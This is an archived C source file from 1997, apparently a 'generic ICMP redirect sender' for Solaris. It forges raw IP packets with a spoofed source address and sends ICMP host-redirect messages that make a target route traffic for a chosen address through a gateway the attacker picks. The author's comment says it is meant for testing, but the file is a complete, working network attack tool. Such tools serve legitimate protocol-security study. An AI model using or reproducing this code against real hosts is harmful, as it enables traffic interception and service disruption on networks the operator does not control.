home *** CD-ROM | disk | FTP | other *** search
- /*
- * generic ICMP redirect sender - tested on Solaris 2.5 (sparc)
- * compile with cc -o red red.c -lsocket -lnsl
- *
- * Mark Henderson <mch@squirrel.com> - feb 1997
- *
- * usage: red sendto sendfrom redir_addr gw
- * where:
- * sendto is the address or hostname of the machine to send the redirect to
- * sendfrom is the hostname/IP address that the packet should appear to
- * come from
- * redir_addr is the hostname/IP address to redirect packets for
- * gw is the hostname/IP address of the new gateway for redir_addr
- *
- * I wrote this for testing purposes. Please don't use it to attack machines or
- * disrupt services.
- *
- * Portions of this code are Copyright (c) 1989, 1993 The Regents of the
- * University of California. All rights reserved.
- *
- * This code is derived from software contributed to Berkeley by Mike Muuss.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met: 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer. 2.
- * Redistributions in binary form must reproduce the above copyright notice,
- * this list of conditions and the following disclaimer in the documentation
- * and/or other materials provided with the distribution. 3. All advertising
- * materials mentioning features or use of this software must display the
- * following acknowledgement: This product includes software developed by the
- * University of California, Berkeley and its contributors. 4. Neither the
- * name of the University nor the names of its contributors may be used to
- * endorse or promote products derived from this software without specific
- * prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
- * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
- * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
-
- int
- main (int argc, char **argv)
- {
- int s;
- char buf[100];
- struct ip *ip = (struct ip *) buf;
- struct icmp *icmp = (struct icmp *) (ip + 1);
- struct hostent *hp;
- struct sockaddr_in dst;
- int offset;
- int on = 1;
-
- bzero (buf, sizeof buf);
-
- if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_IP)) < 0)
- {
- perror ("socket");
- exit (1);
- }
- #ifdef IP_HDRINCL
- if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
- {
- perror ("IP_HDRINCL");
- exit (1);
- }
- #endif
- if (argc != 5)
- {
- fprintf (stderr, "usage: %s sendto sendfrom redir_addr gw\n", argv[0]);
- exit (1);
- }
- if ((hp = gethostbyname (argv[1])) == NULL)
- {
- if ((ip->ip_dst.s_addr = inet_addr (argv[1])) == -1)
- {
- fprintf (stderr, "%s: unknown host\n", argv[1]);
- }
- }
- else
- {
- bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
- }
- if ((hp = gethostbyname (argv[2])) == NULL)
- {
- if ((ip->ip_src.s_addr = inet_addr (argv[2])) == -1)
- {
- fprintf (stderr, "%s: unknown host\n", argv[2]);
- }
- }
- else
- {
- bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
- }
- if ((hp = gethostbyname (argv[3])) == NULL)
- {
- if ((icmp->icmp_ip.ip_dst.s_addr = inet_addr (argv[3])) == -1)
- {
- fprintf (stderr, "%s: unknown host\n", argv[3]);
- }
- }
- else
- {
- bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);
- }
- if ((hp = gethostbyname (argv[4])) == NULL)
- {
- if ((icmp->icmp_gwaddr.s_addr = inet_addr (argv[4])) == -1)
- {
- fprintf (stderr, "%s: unknown host\n", argv[4]);
- }
- }
- else
- {
- bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);
- }
- printf ("Sending to %s\n", inet_ntoa (ip->ip_dst));
- ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0;
- ip->ip_len = htons (sizeof buf); ip->ip_id = htons (4321);
- ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_p = 1;
- ip->ip_sum = 0; /* kernel fills this in */
-
- bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof (ip->ip_dst.s_addr));
- icmp->icmp_ip.ip_v = 4;
- icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
- icmp->icmp_ip.ip_tos = 0;
- icmp->icmp_ip.ip_len = htons (100); /* doesn't matter much */
- icmp->icmp_ip.ip_id = htons (3722);
- icmp->icmp_ip.ip_off = 0;
- icmp->icmp_ip.ip_ttl = 254;
- icmp->icmp_ip.ip_p = 1;
- icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);
-
- dst.sin_addr = ip->ip_dst;
- dst.sin_family = AF_INET;
-
- icmp->icmp_type = ICMP_REDIRECT;
- icmp->icmp_code = 1; /* host redirect */
-
- icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof (*ip));
-
- if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
- sizeof dst) < 0)
- {
- perror ("sendto");
- exit (1);
- }
- exit (0);
- }
- /*
- * in_cksum -- Checksum routine for Internet Protocol family headers (C
- * Version) - code from 4.4 BSD
- */
- in_cksum (addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- /*
- * Our algorithm is simple, using a 32 bit accumulator (sum), we add
- * sequential 16 bit words to it, and at the end, fold back all the
- * carry bits from the top 16 bits into the lower 16 bits.
- */
- while (nleft > 1)
- {
- sum += *w++;
- nleft -= 2;
- }
-
- /* mop up an odd byte, if necessary */
- if (nleft == 1)
- {
- *(u_char *) (&answer) = *(u_char *) w;
- sum += answer;
- }
- /* add back carry outs from top 16 bits to low 16 bits */
- sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* truncate to 16 bits */
- return (answer);
- }
-